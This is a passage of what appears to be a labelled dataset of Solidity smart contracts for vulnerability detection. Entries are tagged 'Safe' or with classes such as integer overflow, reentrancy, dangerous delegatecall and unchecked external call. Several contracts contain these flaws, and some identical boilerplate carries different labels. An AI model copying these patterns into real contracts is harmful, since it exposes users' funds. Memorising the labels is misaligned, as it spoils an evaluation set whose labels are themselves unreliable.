costs(_datasource, _gaslimit) returns (bytes32 _id) { if ((_timestamp > now+3600*24*60)||(_gaslimit > block.gaslimit)) throw; bool forkFlag = AmIOnTheFork(AmIOnTheForkAddress).forked(); _id = sha3(forkFlag, this, msg.sender, reqc[msg.sender]); reqc[msg.sender]++; Log1(msg.sender, _id, _timestamp, _datasource, _arg, _gaslimit, addr_proofType[msg.sender], addr_gasPrice[msg.sender]); return _id; } function query2(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) costs(_datasource, _gaslimit) returns (bytes32 _id) { if ((_timestamp > now+3600*24*60)||(_gaslimit > block.gaslimit)) throw; bool forkFlag = AmIOnTheFork(AmIOnTheForkAddress).forked(); _id = sha3(forkFlag, this, msg.sender, reqc[msg.sender]); reqc[msg.sender]++; Log2(msg.sender, _id, _timestamp, _datasource, _arg1, _arg2, _gaslimit, addr_proofType[msg.sender], addr_gasPrice[msg.sender]); return _id; } function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) returns (bytes32 _id) { return query(_timestamp, _datasource, _arg, _gaslimit); } function query1_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) returns (bytes32 _id) { return query1(_timestamp, _datasource, _arg, _gaslimit); } function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) returns (bytes32 _id) { return query2(_timestamp, _datasource, _arg1, _arg2, _gaslimit); } }",Safe,8,8 1169.sol,"pragma solidity ^0.4.23; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract ForeignToken { function balanceOf(address _owner) constant public returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Meiji is ERC20 { using SafeMath for uint256; address owner = msg.sender; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; string public constant name = ""Meiji""; string public constant symbol = ""MJT""; uint public constant decimals = 8; uint256 public totalSupply = 2500000000e8; uint256 public totalDistributed = 500000000e8; uint256 public constant MIN_CONTRIBUTION = 1 ether / 500; uint256 public tokensPerEth = 1250000e8; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Distr(address indexed to, uint256 amount); event DistrFinished(); event Airdrop(address indexed _owner, uint _amount, uint _balance); event TokensPerEthUpdated(uint _tokensPerEth); event Burn(address indexed burner, uint256 value); bool public distributionFinished = false; modifier canDistr() { require(!distributionFinished); _; } modifier onlyOwner() { require(msg.sender == owner); _; } function MJT() public { owner = msg.sender; distr(owner, totalDistributed); } function transferOwnership(address newOwner) onlyOwner public { if (newOwner != address(0)) { owner = newOwner; } } function finishDistribution() onlyOwner canDistr public returns (bool) { distributionFinished = true; emit DistrFinished(); return true; } function distr(address _to, uint256 _amount) canDistr private returns (bool) { totalDistributed = totalDistributed.add(_amount); balances[_to] = balances[_to].add(_amount); emit Distr(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function doAirdrop(address _participant, uint _amount) internal { require( _amount > 0 ); require( totalDistributed < totalSupply ); balances[_participant] = balances[_participant].add(_amount); totalDistributed = totalDistributed.add(_amount); if (totalDistributed >= totalSupply) { distributionFinished = true; } // log emit Airdrop(_participant, _amount, balances[_participant]); emit Transfer(address(0), _participant, _amount); } function adminClaimAirdrop(address _participant, uint _amount) public onlyOwner { doAirdrop(_participant, _amount); } function adminClaimAirdropMultiple(address[] _addresses, uint _amount) public onlyOwner { for (uint i = 0; i < _addresses.length; i++) doAirdrop(_addresses[i], _amount); } function updateTokensPerEth(uint _tokensPerEth) public onlyOwner { tokensPerEth = _tokensPerEth; emit TokensPerEthUpdated(_tokensPerEth); } function () external payable { getTokens(); } function getTokens() payable canDistr public { uint256 tokens = 0; // minimum contribution require( msg.value >= MIN_CONTRIBUTION ); require( msg.value > 0 ); // get baseline number of tokens tokens = tokensPerEth.mul(msg.value) / 1 ether; address investor = msg.sender; if (tokens > 0) { distr(investor, tokens); } if (totalDistributed >= totalSupply) { distributionFinished = true; } } function balanceOf(address _owner) constant public returns (uint256) { return balances[_owner]; } // mitigates the ERC20 short address attack modifier onlyPayloadSize(uint size) { assert(msg.data.length >= size + 4); _; } function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(msg.sender, _to, _amount); return true; } function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[_from]); require(_amount <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_amount); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(_from, _to, _amount); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { // mitigates the ERC20 spend/approval race condition if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; } allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant public returns (uint256) { return allowed[_owner][_spender]; } function getTokenBalance(address tokenAddress, address who) constant public returns (uint){ ForeignToken t = ForeignToken(tokenAddress); uint bal = t.balanceOf(who); return bal; } function withdraw() onlyOwner public { address myAddress = this; uint256 etherBalance = myAddress.balance; owner.transfer(etherBalance); } function burn(uint256 _value) onlyOwner public { require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); totalDistributed = totalDistributed.sub(_value); emit Burn(burner, _value); } function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) { ForeignToken token = ForeignToken(_tokenContract); uint256 amount = token.balanceOf(address(this)); return token.transfer(owner, amount); } }",./Dataset/ether strict equality (SE),3,3 0x01db18f6a474840db3480a6a35227d4d0dfcca37_BPToken.sol,"pragma solidity ^0.4.20; /* * ERC20 interface * see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 { uint public totalSupply; function balanceOf(address who) constant returns (uint); function allowance(address owner, address spender) constant returns (uint); function transfer(address to, uint value) returns (bool ok); function transferFrom(address from, address to, uint value) returns (bool ok); function approve(address spender, uint value) returns (bool ok); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } /** * Math operations with safety checks */ contract SafeMath { function safeMul(uint a, uint b) internal returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function safeDiv(uint a, uint b) internal returns (uint) { assert(b > 0); uint c = a / b; assert(a == b * c + a % b); return c; } function safeSub(uint a, uint b) internal returns (uint) { assert(b <= a); return a - b; } function safeAdd(uint a, uint b) internal returns (uint) { uint c = a + b; assert(c >= a && c >= b); return c; } function max64(uint64 a, uint64 b) internal constant returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal constant returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal constant returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal constant returns (uint256) { return a < b ? a : b; } function assert(bool assertion) internal { if (!assertion) { throw; } } } /** * Owned contract */ contract Owned { address[] public pools; address public owner; function Owned() { owner = msg.sender; pools.push(msg.sender); } modifier onlyPool { require(isPool(msg.sender)); _; } modifier onlyOwner { require(msg.sender == owner); _; } /// add new pool address to pools function addPool(address newPool) onlyOwner { assert (newPool != 0); if (isPool(newPool)) throw; pools.push(newPool); } /// remove a address from pools function removePool(address pool) onlyOwner{ assert (pool != 0); if (!isPool(pool)) throw; for (uint i=0; i uint256) balances; mapping (address => mapping (address => uint256)) allowed; function BPToken() { totalSupply = 2000000000 * 10 ** uint256(decimals); balances[msg.sender] = totalSupply; } /// asset pool map mapping (address => address) addressPool; /// address base amount mapping (address => uint256) addressAmount; /// per month seconds uint perMonthSecond = 2592000; /// calc the balance that the user shuold hold function shouldHadBalance(address who) constant returns (uint256){ if (isPool(who)) return 0; address apAddress = getAssetPoolAddress(who); uint256 baseAmount = getBaseAmount(who); /// Does not belong to AssetPool contract if( (apAddress == address(0)) || (baseAmount == 0) ) return 0; /// Instantiate ap contract AssetPool ap = AssetPool(apAddress); uint startLockTime = ap.getStartLockTime(); uint stopLockTime = ap.getStopLockTime(); if (block.timestamp > stopLockTime) { return 0; } if (ap.getBaseLockPercent() == 0) { return 0; } // base lock amount uint256 baseLockAmount = safeDiv(safeMul(baseAmount, ap.getBaseLockPercent()),100); if (block.timestamp < startLockTime) { return baseLockAmount; } /// will not linear release if (ap.getLinearRelease() == 0) { if (block.timestamp < stopLockTime) { return baseLockAmount; } else { return 0; } } /// will linear release /// now timestamp before start lock time if (block.timestamp < startLockTime + perMonthSecond) { return baseLockAmount; } // total lock months uint lockMonth = safeDiv(safeSub(stopLockTime,startLockTime),perMonthSecond); if (lockMonth <= 0) { if (block.timestamp >= stopLockTime) { return 0; } else { return baseLockAmount; } } // unlock amount of every month uint256 monthUnlockAmount = safeDiv(baseLockAmount,lockMonth); // current timestamp passed month uint hadPassMonth = safeDiv(safeSub(block.timestamp,startLockTime),perMonthSecond); return safeSub(baseLockAmount,safeMul(hadPassMonth,monthUnlockAmount)); } function getAssetPoolAddress(address who) internal returns(address){ return addressPool[who]; } function getBaseAmount(address who) internal returns(uint256){ return addressAmount[who]; } function getBalance() constant returns(uint){ return balances[msg.sender]; } function setPoolAndAmount(address who, uint256 amount) onlyPool returns (bool) { assert(balances[msg.sender] >= amount); if (owner == who) { return true; } address apAddress = getAssetPoolAddress(who); uint256 baseAmount = getBaseAmount(who); assert((apAddress == msg.sender) || (baseAmount == 0)); addressPool[who] = msg.sender; addressAmount[who] += amount; return true; } /// get balance of the special address function balanceOf(address who) constant returns (uint) { return balances[who]; } /// @notice Transfer `value` BP tokens from sender's account /// `msg.sender` to provided account address `to`. /// @notice This function is disabled during the funding. /// @dev Required state: Success /// @param to The address of the recipient /// @param value The number of BPs to transfer /// @return Whether the transfer was successful or not function transfer(address to, uint256 value) returns (bool) { if (safeSub(balances[msg.sender],value) < shouldHadBalance(msg.sender)) throw; uint256 senderBalance = balances[msg.sender]; if (senderBalance >= value && value > 0) { senderBalance = safeSub(senderBalance, value); balances[msg.sender] = senderBalance; balances[to] = safeAdd(balances[to], value); Transfer(msg.sender, to, value); return true; } else { throw; } } /// @notice Transfer `value` BP tokens from sender 'from' /// to provided account address `to`. /// @notice This function is disabled during the funding. /// @dev Required state: Success /// @param from The address of the sender /// @param to The address of the recipient /// @param value The number of BPs to transfer /// @return Whether the transfer was successful or not function transferFrom(address from, address to, uint256 value) returns (bool) { // Abort if not in Success state. // protect against wrapping uints if (balances[from] >= value && allowed[from][msg.sender] >= value && safeAdd(balances[to], value) > balances[to]) { balances[to] = safeAdd(balances[to], value); balances[from] = safeSub(balances[from], value); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], value); Transfer(from, to, value); return true; } else { throw; } } /// @notice `msg.sender` approves `spender` to spend `value` tokens /// @param spender The address of the account able to transfer the tokens /// @param value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address spender, uint256 value) returns (bool) { if (safeSub(balances[msg.sender],value) < shouldHadBalance(msg.sender)) throw; // Abort if not in Success state. allowed[msg.sender][spender] = value; Approval(msg.sender, spender, value); return true; } /// @param owner The address of the account owning tokens /// @param spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address owner, address spender) constant returns (uint) { uint allow = allowed[owner][spender]; return allow; } } contract ownedPool { address public owner; function ownedPool() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } } /** * Asset pool contract */ contract AssetPool is ownedPool { uint baseLockPercent; uint startLockTime; uint stopLockTime; uint linearRelease; address public bpTokenAddress; BPToken bp; function AssetPool(address _bpTokenAddress, uint _baseLockPercent, uint _startLockTime, uint _stopLockTime, uint _linearRelease) { assert(_stopLockTime > _startLockTime); baseLockPercent = _baseLockPercent; startLockTime = _startLockTime; stopLockTime = _stopLockTime; linearRelease = _linearRelease; bpTokenAddress = _bpTokenAddress; bp = BPToken(bpTokenAddress); owner = msg.sender; } /// set role value function setRule(uint _baseLockPercent, uint _startLockTime, uint _stopLockTime, uint _linearRelease) onlyOwner { assert(_stopLockTime > _startLockTime); baseLockPercent = _baseLockPercent; startLockTime = _startLockTime; stopLockTime = _stopLockTime; linearRelease = _linearRelease; } /// set bp token contract address // function setBpToken(address _bpTokenAddress) onlyOwner { // bpTokenAddress = _bpTokenAddress; // bp = BPToken(bpTokenAddress); // } /// assign BP token to another address function assign(address to, uint256 amount) onlyOwner returns (bool) { if (bp.setPoolAndAmount(to,amount)) { if (bp.transfer(to,amount)) { return true; } } return false; } /// get the balance of current asset pool function getPoolBalance() constant returns (uint) { return bp.getBalance(); } function getStartLockTime() constant returns (uint) { return startLockTime; } function getStopLockTime() constant returns (uint) { return stopLockTime; } function getBaseLockPercent() constant returns (uint) { return baseLockPercent; } function getLinearRelease() constant returns (uint) { return linearRelease; } }",Safe,8,8 0x045017b207afbac0b104acbe2114c8dca369f305_JudgeToken.sol,"pragma solidity ^0.4.4; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } //name this contract whatever you'd like contract JudgeToken is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme. function JudgeToken( ) { balances[msg.sender] = 7849569713000000000; // Give the creator all initial tokens (100000 for example) totalSupply = 7849569713000000000; // Update total supply (100000 for example) name = ""Judge""; // Set the name for display purposes decimals = 8; // Amount of decimals for display purposes symbol = ""JDG""; // Set the symbol for display purposes } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { throw; } return true; } }",Safe,8,8 403.sol,"pragma solidity ^0.4.24; contract Ownable { address public owner; constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } contract KeralaDonationContract is Ownable { string public name; string public symbol; uint public decimals; uint public totalSupply; uint public amountRaised; bool donationClosed = false; mapping (address => uint256) public balanceOf; mapping (address => uint256) public balance; event FundTransfer(address backer, uint amount, bool isContribution); event Transfer(address indexed from, address indexed to, uint256 value); constructor() public { name = 'Kerala Flood Donation Token'; symbol = 'KFDT'; decimals = 0; totalSupply = 1000000; balanceOf[owner] = totalSupply; amountRaised = 0; } function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to] == 0); require(_value == 1); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); } function transfer(address _to, uint256 _value) public onlyOwner returns(bool success) { _transfer(msg.sender, _to, _value); return true; } function disableDonation() public onlyOwner returns(bool success) { donationClosed = true; return true; } function enableDonation() public onlyOwner returns(bool success) { donationClosed = false; return true; } function checkMyDonation() public view returns(uint) { return balance[msg.sender]; } function isBacker() public view returns(bool) { if (balanceOf[msg.sender] > 0) { return true; } return false; } function () payable public { require(!donationClosed); uint amount = msg.value; amountRaised += amount; balance[msg.sender] += amount; transfer(msg.sender, 1); owner.transfer(msg.value); } }",./Dataset/integer overflow (OF)/,4,4 1038.sol,"contract Pandemica { struct _Tx { address txuser; uint txvalue; } _Tx[] public Tx; uint public counter; address owner; modifier onlyowner { if (msg.sender == owner) _ } function Pandemica() { owner = msg.sender; } function() { Sort(); if (msg.sender == owner ) { Count(); } } function Sort() internal { uint feecounter; feecounter+=msg.value/5; owner.send(feecounter); feecounter=0; uint txcounter=Tx.length; counter=Tx.length; Tx.length++; Tx[txcounter].txuser=msg.sender; Tx[txcounter].txvalue=msg.value; } function Count() onlyowner { while (counter>0) { Tx[counter].txuser.send((Tx[counter].txvalue/100)*3); counter-=1; } } }",./Dataset/integer overflow (OF)/,4,4 35892.sol,"pragma solidity ^0.4.4; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } //name this contract whatever you'd like contract ERC20Token is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme. // // CHANGE THESE VALUES FOR YOUR TOKEN // //make sure this function name matches the contract name above. So if you're token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of ERC20Token function ERC20Token( ) { balances[msg.sender] = 10000000000000000; // Give the creator all initial tokens (100000 for example) totalSupply = 10000000000000000; // Update total supply (100000 for example) name = ""CrowdCoin""; // Set the name for display purposes decimals = 8; // Amount of decimals for display purposes symbol = ""CRWD""; // Set the symbol for display purposes } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { throw; } return true; } }",./Dataset/reentrancy (RE)/,5,5 7129.sol,"pragma solidity ^0.4.21; contract Proxied { address public masterCopy; } contract Proxy is Proxied { function Proxy(address _masterCopy) public { require(_masterCopy != 0); masterCopy = _masterCopy; } function () external payable { address _masterCopy = masterCopy; assembly { calldatacopy(0, 0, calldatasize()) let success := delegatecall(not(0), _masterCopy, 0, calldatasize(), 0, 0) returndatacopy(0, 0, returndatasize()) switch success case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } } contract DutchExchangeProxy is Proxy { function DutchExchangeProxy(address _masterCopy) Proxy (_masterCopy) { } }",./Dataset/dangerous delegatecall (DE)/,1,1 43311.sol,"pragma solidity ^0.4.24; contract Proxy { function () payable external { _fallback(); } function _implementation() internal view returns (address); function _delegate(address implementation) internal { assembly { calldatacopy(0, 0, calldatasize) let result := delegatecall(gas, implementation, 0, calldatasize, 0, 0) returndatacopy(0, 0, returndatasize) switch result case 0 { revert(0, returndatasize) } default { return(0, returndatasize) } } } function _willFallback() internal { } function _fallback() internal { _willFallback(); _delegate(_implementation()); } } ",./Dataset/ether frozen (EF),2,2 37532.sol,"pragma solidity ^0.4.4; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } // contract Blammascoin is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme. // // // // function Blammascoin( ) { balances[msg.sender] = 10000000000000000; // Give the creator all initial tokens (100000 for example) totalSupply = 10000000000000000; // Update total supply (100000 for example) name = ""Blammascoin""; // Set the name for display purposes decimals = 8; // Amount of decimals for display purposes symbol = ""BMS""; // Set the symbol for display purposes } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { throw; } return true; } }",./Dataset/unchecked external call (UC),7,7 0x0014966c7439d8c10aaf0204036198236d9b0912_Reservation.sol,"//File: node_modules/zeppelin-solidity/contracts/ownership/Ownable.sol pragma solidity ^0.4.18; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of ""user permissions"". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } //File: node_modules/zeppelin-solidity/contracts/lifecycle/Pausable.sol pragma solidity ^0.4.18; /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ 